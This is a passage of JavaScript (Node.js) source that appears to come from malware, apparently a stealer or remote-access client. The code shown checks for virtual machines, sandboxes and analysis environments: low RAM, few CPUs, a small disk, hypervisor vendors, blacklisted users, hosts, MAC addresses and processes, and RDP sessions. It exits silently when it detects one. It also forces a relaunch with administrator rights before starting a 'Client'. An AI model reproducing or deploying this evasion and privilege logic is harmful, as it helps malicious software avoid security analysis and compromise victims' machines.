        hardware: ['VirtualBox', 'VMware', 'Parallel', 'QEMU', 'Hyper-V', 'KVM', 'Xen']
    };

    const checkDisk = () => {
        try {
            const out = execSync('powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-Volume -DriveLetter C).Size"', { windowsHide: true, stdio: 'pipe', timeout: 5000 }).toString();
            const bytes = parseInt(out.trim());
            if (!isNaN(bytes) && bytes < 100 * 1024 * 1024 * 1024) return true;
        } catch (e) { }
        return false;
    };

    const checkHardware = () => {
        try {
            const out = execSync('powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -Property Model, Manufacturer | Format-List"', { windowsHide: true, stdio: 'pipe', timeout: 5000 }).toString().toLowerCase();
            if (blacklist.hardware.some(h => out.includes(h.toLowerCase()))) return true;
        } catch (e) { }
        return false;
    };

    const checkMAC = () => {
        try {
            const out = execSync('getmac', { windowsHide: true, stdio: 'pipe', timeout: 5000 }).toString();
            if (blacklist.macs.some(mac => out.includes(mac))) return true;
        } catch (e) { }
        return false;
    };

    const checkRDP = () => {
        try {
            if (os.hostname().includes('RDP') || (process.env.SESSIONNAME && process.env.SESSIONNAME.toLowerCase().includes('rdp'))) return true;
        } catch (e) { }
        return false;
    };

    if (os.totalmem() < 4.01 * 1024 * 1024 * 1024) return true;
    if (os.cpus().length < 2) return true;

    if (blacklist.users.includes(os.userInfo().username)) return true;
    if (blacklist.pcNames.includes(os.hostname())) return true;
    if (checkDisk()) return true;
    if (checkHardware()) return true;
    if (checkMAC()) return true;
    if (checkRDP()) return true;

    try {
        const tasks = execSync('tasklist', { windowsHide: true, timeout: 10000 }).toString().toLowerCase();
        if (blacklist.processes.some(p => tasks.includes(p))) {
            return true;
        }
    } catch (e) { }

    return false;
}


(async () => {
    try {
        const isAdmin = hasAdminPrivileges();
        if (!isAdmin) {
            relaunchAsAdmin();
            return;
        }

        if (CONFIG.antivm) {
            if (checkSystem()) process.exit(0);
        }
        checkSingleInstance();
        initializeFolders();
        const client = new Client();
        await client.init();

    } catch (error) {
        logError(error, 'main-executor');
    } finally {
        process.exit(0);
    }
})();